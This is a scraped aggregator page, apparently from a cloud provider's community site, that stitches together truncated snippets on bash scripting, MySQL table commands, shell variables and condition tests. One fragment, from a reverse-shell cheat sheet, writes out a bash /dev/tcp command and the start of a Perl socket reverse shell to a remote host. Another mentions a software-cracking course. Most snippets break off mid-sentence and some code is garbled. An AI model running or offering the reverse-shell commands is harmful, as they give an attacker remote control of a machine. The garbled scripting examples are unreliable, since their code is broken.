MySQL table optimizer Brief:first, the analysis tablesecond, the inspection tablethird, optimize the tableiv. Table Data ImportFive, lock table operationfirst, the analysis table1.1. Command:ANALYZE [No_write_to_binlog | Local]table tbl_name [,
20,150,722 Week Three1. Generate a log file daily according to the format xxxx-xx-xx, for example, the file generated today is 2013-09-23.log, and the disk usage is written to the file.#vi/usr/local/sbin/crontest1.sh#!bin/bashd= ' date +%f '
Case ... Esac is similar to the switch ... case statement in other languages, and is a multi-branch selection structure.Syntax for Case statements Case inch mode 1) Command1 command2 command3 ; Mode 2) Command1 command2 command3
Arithmetic operatorsNative bash does not support simple math operations, but can be implemented with other commands, such as awk and expr,expr, which are most commonly used.Expr is an expression evaluation tool that uses it to perform evaluation
Unlike a compiled language, shell scripting is an interpreted language.When executing such a program, The interpreter (interpreter) needs to read the source code that we wrote and convert it to the target (object), which is then run by the
has been learning, but also has been forgotten, today with the help of this blog post, to record their own learning process some of the most basic things!1. For#!/bin/bashfor i in {1..10}do echo $idoneScan the active IP in the target network segment#
As I get used to Python's writing style, I often want to use bash to iterate through the rows of a file and process the rows that are read.But a weird situation if my text resembles thisThe first line.The second line.The third line.For line in ' cat
1. Variable Reading example: Echo $PATH echo $ (PATH)2, Variable assignment: AA=ASDF Note: There is no space around the equals sign3. View all environment variables: env4. Id:echo $$ of the current thread5. Custom variable to environment variable:
The operation of commands is analyzed and run from top to bottom, from left to right.
The order is released as mentioned in the fifth chapter: multiple blanks between commands, options, and parameters are ignored;
Blank lines are also
Transferred from: http://blog.sina.com.cn/s/blog_464f6dba0100psy9.htmlVariable Description:$$The PID of the shell itself (ProcessID)$!PID of the Shell's last running background process$?End code of the last Run command (return value)$-Flag at a
Recently in the study of shell programming, the text if there are errors in the place also hope that you criticize.Let's start with a simple summation function.#!/bin/bash#a test about function78f_sum(){ return $(($1+$23536);echo$total,$?;Note
Format: Test conditionString test: Note space: Test STR1 = = STR2 Tests if string is equal test str1! = str2 test string is not equal test STR1 tests if string is not empty test-n str1 test string is not empty test-z str1 Test whether the string is
There are three types of conditions that are commonly tested in bashConditional test expression: [expression] [[expression]]First: Integer test:-eq tests whether two integers are equal, such as [$A-eq $B]-ne test two integers in different sizes-GT
Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S),
Fly2015I love cracking training first elective homework 5 practice procedures, in the company when using the tulip OD Debugging the shell program when there is a problem, but home with my love cracked version of od a debugging, all body spirit cool,
In shell scripts, how does one write a line feed to a file,
Test environment: ubuntu12.04 LTS version
Echo> file.txt,
This method has the same effect on bash and sh at the beginning of the script,
Echo-e> file.txt is only applicable to bash.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service